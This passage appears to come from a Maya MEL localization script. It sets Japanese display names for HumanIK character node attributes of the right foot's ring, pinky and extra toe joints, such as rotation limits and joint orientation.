"RightFootRing3MinRLimitEnablex", "右足薬指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitEnabley", "右足薬指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitEnablez", "右足薬指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitEnablex", "右足薬指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitEnabley", "右足薬指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitEnablez", "右足薬指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4", "右足薬指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4T", "右足薬指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Tx", "右足薬指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Ty", "右足薬指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Tz", "右足薬指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4R", "右足薬指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Rx", "右足薬指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Ry", "右足薬指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Rz", "右足薬指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4S", "右足薬指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Sx", "右足薬指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Sy", "右足薬指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Sz", "右足薬指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateOrder", "右足薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxis", "右足薬指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxisx", "右足薬指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxisy", "右足薬指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxisz", "右足薬指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrient", "右足薬指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrientx", "右足薬指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrienty", "右足薬指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrientz", "右足薬指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimit", "右足薬指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitx", "右足薬指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimity", "右足薬指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitz", "右足薬指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimit", "右足薬指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitx", "右足薬指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimity", "右足薬指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitz", "右足薬指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitEnablex", "右足薬指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitEnabley", "右足薬指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitEnablez", "右足薬指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitEnablex", "右足薬指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitEnabley", "右足薬指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitEnablez", "右足薬指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1", "右足小指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1T", "右足小指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Tx", "右足小指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Ty", "右足小指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Tz", "右足小指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1R", "右足小指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Rx", "右足小指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Ry", "右足小指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Rz", "右足小指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1S", "右足小指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Sx", "右足小指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Sy", "右足小指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Sz", "右足小指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", "右足小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxis", "右足小指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxisx", "右足小指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxisy", "右足小指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxisz", "右足小指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrient", "右足小指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrientx", "右足小指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrienty", "右足小指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrientz", "右足小指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimit", "右足小指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitx", "右足小指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimity", "右足小指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitz", "右足小指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimit", "右足小指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitx", "右足小指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimity", "右足小指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitz", "右足小指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitEnablex", "右足小指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitEnabley", "右足小指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitEnablez", "右足小指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitEnablex", "右足小指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitEnabley", "右足小指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitEnablez", "右足小指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2", "右足小指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2T", "右足小指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Tx", "右足小指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Ty", "右足小指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Tz", "右足小指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2R", "右足小指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Rx", "右足小指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Ry", "右足小指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Rz", "右足小指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2S", "右足小指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Sx", "右足小指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Sy", "右足小指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Sz", "右足小指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", "右足小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxis", "右足小指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxisx", "右足小指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxisy", "右足小指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxisz", "右足小指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrient", "右足小指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrientx", "右足小指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrienty", "右足小指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrientz", "右足小指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimit", "右足小指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitx", "右足小指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimity", "右足小指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitz", "右足小指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimit", "右足小指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitx", "右足小指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimity", "右足小指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitz", "右足小指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitEnablex", "右足小指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitEnabley", "右足小指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitEnablez", "右足小指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitEnablex", "右足小指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitEnabley", "右足小指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitEnablez", "右足小指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3", "右足小指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3T", "右足小指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Tx", "右足小指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Ty", "右足小指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Tz", "右足小指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3R", "右足小指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Rx", "右足小指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Ry", "右足小指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Rz", "右足小指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3S", "右足小指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Sx", "右足小指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Sy", "右足小指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Sz", "右足小指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", "右足小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxis", "右足小指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxisx", "右足小指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxisy", "右足小指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxisz", "右足小指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrient", "右足小指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrientx", "右足小指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrienty", "右足小指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrientz", "右足小指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimit", "右足小指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitx", "右足小指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimity", "右足小指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitz", "右足小指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimit", "右足小指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitx", "右足小指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimity", "右足小指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitz", "右足小指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitEnablex", "右足小指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitEnabley", "右足小指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitEnablez", "右足小指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitEnablex", "右足小指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitEnabley", "右足小指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitEnablez", "右足小指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4", "右足小指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4T", "右足小指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Tx", "右足小指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Ty", "右足小指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Tz", "右足小指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4R", "右足小指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Rx", "右足小指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Ry", "右足小指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Rz", "右足小指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4S", "右足小指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Sx", "右足小指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Sy", "右足小指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Sz", "右足小指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", "右足小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxis", "右足小指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxisx", "右足小指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxisy", "右足小指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxisz", "右足小指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrient", "右足小指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrientx", "右足小指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrienty", "右足小指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrientz", "右足小指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimit", "右足小指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitx", "右足小指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimity", "右足小指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitz", "右足小指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimit", "右足小指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitx", "右足小指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimity", "右足小指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitz", "右足小指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitEnablex", "右足小指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitEnabley", "右足小指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitEnablez", "右足小指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitEnablex", "右足小指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitEnabley", "右足小指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitEnablez", "右足小指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1", "右足追加指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1T", "右足追加指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Tx", "右足追加指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Ty", "右足追加指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Tz", "右足追加指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1R", "右足追加指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Rx", "右足追加指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Ry", "右足追加指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Rz", "右足追加指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1S", "右足追加指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Sx", "右足追加指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Sy", "右足追加指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Sz", "右足追加指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", "右足追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxis", "右足追加指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxisx", "右足追加指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxisy", "右足追加指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxisz", "右足追加指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrient", "右足追加指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrientx", "右足追加指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrienty", "右足追加指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrientz", "右足追加指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimit", "右足追加指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitx", "右足追加指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimity", "右足追加指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitz", "右足追加指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimit", "右足追加指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitx", "右足追加指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimity", "右足追加指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitz", "右足追加指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitEnablex", "右足追加指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitEnabley", "右足追加指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitEnablez", "右足追加指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitEnablex", "右足追加指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitEnabley", "右足追加指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitEnablez", "右足追加指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2", "右足追加指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2T", "右足追加指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Tx", "右足追加指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Ty", "右足追加指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Tz", "右足追加指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2R", "右足追加指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Rx", "右足追加指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Ry", "右足追加指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Rz", "右足追加指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2S", "右足追加指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Sx", "右足追加指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Sy", "右足追加指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Sz", "右足追加指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", "右足追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxis", "右足追加指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxisx", "右足追加指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxisy", "右足追加指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxisz", "右足追加指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrient", "右足追加指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrientx", "右足追加指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrienty", "右足追加指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrientz", "右足追加指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimit", "右足追加指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitx", "右足追加指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimity", "右足追加指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitz", "右足追加指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimit", "右足追加指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitx", "右足追加指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimity", "右足追加指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitz", "右足追加指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitEnablex", "右足追加指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitEnabley", "右足追加指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitEnablez", "右足追加指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitEnablex", "右足追加指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitEnabley", "右足追加指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitEnablez", "右足追加指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", 